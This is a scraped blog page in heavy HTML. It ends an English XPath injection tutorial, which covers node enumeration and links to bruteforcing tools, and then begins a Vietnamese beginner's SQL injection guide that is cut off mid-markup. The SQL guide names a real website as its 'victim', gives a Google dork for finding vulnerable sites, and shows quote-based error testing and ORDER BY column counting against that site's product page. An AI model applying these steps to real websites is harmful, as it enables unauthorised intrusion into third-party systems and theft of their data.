src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5kYJY3qNhvnu0TgMxmk3gJUlyzWhLT1XzcaGfrTeuXbuefpzfCJ2143w8_sRjli7a5hI8z_ZD87zrZMUUc0RxhyK4_DkSPqDNtcm3919ZDNU_pJuLMY_FSJIRP8zebPg-YlshRh3RImQj/s320/Retriev+DATA.PNG" title="get-child-node" width="320" /></a></div> <div style="text-align: left;"> You got output from parent node Employee id 3 & child node whose position is 2.</div> <div style="text-align: left;"> <br /> To get whole document put following query.<br /> <br /> //Employee</div> <div style="text-align: left;"> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT57sbEKfkd_VZUn_mHNW0fjJtsmBY-OlUqLNSYy5ZwNFdL5W1AcowI2pkusm62MWQx1id0ML2N3v6w_rtxt0rSEUvywpNSiF8aJpGGtpFEtDP0QC5UI98NZesktUVoD0ATyYHi0Xt-0pg/s1600/GET-DATA.PNG" style="margin-left: 1em; margin-right: 1em;"><img alt="Blind Xpath injection" border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT57sbEKfkd_VZUn_mHNW0fjJtsmBY-OlUqLNSYy5ZwNFdL5W1AcowI2pkusm62MWQx1id0ML2N3v6w_rtxt0rSEUvywpNSiF8aJpGGtpFEtDP0QC5UI98NZesktUVoD0ATyYHi0Xt-0pg/s320/GET-DATA.PNG" title="Blind Xpath injection" width="320" /></a></div> <div style="text-align: left;"> It`s just concept how to retrieve data from XML document using XPATH injection.XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document:</div> <div style="text-align: left;"> </div> <ul style="text-align: left;"> <li>count() returns the number of child nodes of a given element, which can be used to determine the range of position() values to iterate over.</li> <li> string-length() returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over.</li> </ul> <div style="text-align: left;"> I used recon-ng xpath bruteforcer for xpath injection attack & we will get back end XML file.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwaL_x_nwWv0qzJzkKvrWFBXTsiOKM_Pp7rMrgYAr5NhG88Jk_v50h1eG9ek4txh0VCXurIJ4fB8xTmVKGTxftVbELg39l12yMWP7lNrMhTY7amJgvAa1nqle1JlddkPSoMzL-NUX9Lnc4/s1600/Screenshot.png" style="margin-left: 1em; margin-right: 1em;"><img alt="xapth-bruteforcer" border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwaL_x_nwWv0qzJzkKvrWFBXTsiOKM_Pp7rMrgYAr5NhG88Jk_v50h1eG9ek4txh0VCXurIJ4fB8xTmVKGTxftVbELg39l12yMWP7lNrMhTY7amJgvAa1nqle1JlddkPSoMzL-NUX9Lnc4/s320/Screenshot.png" title="xapth-bruteforcer" width="320" /></a></div> <br /> Useful Links & Blind XPATH injection Tools:-<br /> <br /> <a href="https://www.owasp.org/index.php/XPATH_Injection">https://www.owasp.org/index.php/XPATH_Injection</a><br /> <a href="http://www.blogger.com/goog_913170007"><br /></a> <a href="https://www.owasp.org/index.php/Blind_XPath_Injection">https://www.owasp.org/index.php/Blind_XPath_Injection</a><br /> <br /> XPATH BLIND EXPLORER:-  <a href="http://code.google.com/p/xpath-blind-explorer/downloads/list">http://code.google.com/p/xpath-blind-explorer/downloads/list</a><br /> <br /> XCAT:-  <a href="https://github.com/orf/xcat">https://github.com/orf/xcat</a></div> </div>

XPATH Injection Tutorial

XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an att...

Read more »

[Tutorial] Hack SQLi Injection Căn Bản Cho NewBie

<div class="post-info"> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Đầu Tiên ! Xin Chào Mng ^_^ mình mới tham gia forum nên có gì ko đúng các pro chỉ thêm ^^!</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Tiếp theo ... Cần Chuẩn Bị :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">1.Hackbar (Vào </span><a href="http://sinhvienit.net/forum/url/?https%3A%2F%2Faddons.mozilla.org%2Fvi%2Ffirefox" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">https://addons.mozilla.org/vi/firefox</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> -> search " Hackbar " )</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">2. 1 cái đầu và những ngón tay =]]z~</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Bây Giờ Tiến Hành Với Victim Nhé ! </span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Victim : </span><a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> ( Hoặc Có Thế Lên Google Gõ "inurl:index.php?id=" Để Dork tìm Site Bị Lỗi SQL )</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Đi 1 Vòng Site Tìm Link Có Dạng ?id=</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Chẳng hạn như link này : </span><a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3D40" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=40</a><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ' Vào Và Ta Đc Link Như Thế Này :</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3D40" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=40</a><span style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: red; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">'</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này : </span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br /> <div class="resizewraper" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; display: inline-block; margin: 0px; padding: 0px; position: relative; vertical-align: top;"> <a href="http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html" id="vtlai_auto_link_back_1" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: default; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank" title="Hướng dẫn [TUT] Hack SQLi Injection Căn Bản Cho NewBie :D"><img alt="" border="0" src="http://data.sinhvienit.net/2013/T03/img/SinhVienIT.Net---1419390-785a.png" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; border: 5px solid rgb(223, 235, 244); box-sizing: border-box; display: inline-block; width: 860px;" /></a></div> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Sau Đó Dùng Lệnh Order By Để Tìm Số Cột (Column)</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3D40" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=40</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> order by 5-- - ==> Ko Lỗi</span><br /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3D40" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #05a6ad; cursor: pointer; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify; text-decoration: none;" target="_blank">http://pscells.com/chitietsanpham.php?id=40</a><span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;"> order by 10-- - ==> Lỗi</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Vậy : 5 < x < 10</span><br /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <br style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 0px; border-top-right-radius: 0px; box-sizing: border-box; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;" /> <span style="background-color: #fafafa; color: #141414; font-family: Arial, tahoma, verdana, arial; font-size: 15px; line-height: 20.53333282470703px; text-align: justify;">Tìm Tiếp :</span><br /> <a href="http://sinhvienit.net/forum/url/?http%3A%2F%2Fpscells.com%2Fchitietsanpham.php%3Fid%3D40" rel="nofollow" style="-webkit-margin-after: 0px; -webkit-margin-before: 0px; -webkit-margin-end: 0px; -webkit-margin-start: 0px; -webkit-padding-end: 0px; -webkit-padding-start: 0px; background-color: #fafafa; border-bottom-left-radius: 0px; border-bottom-right-radius: 0px; border-top-left-radius: 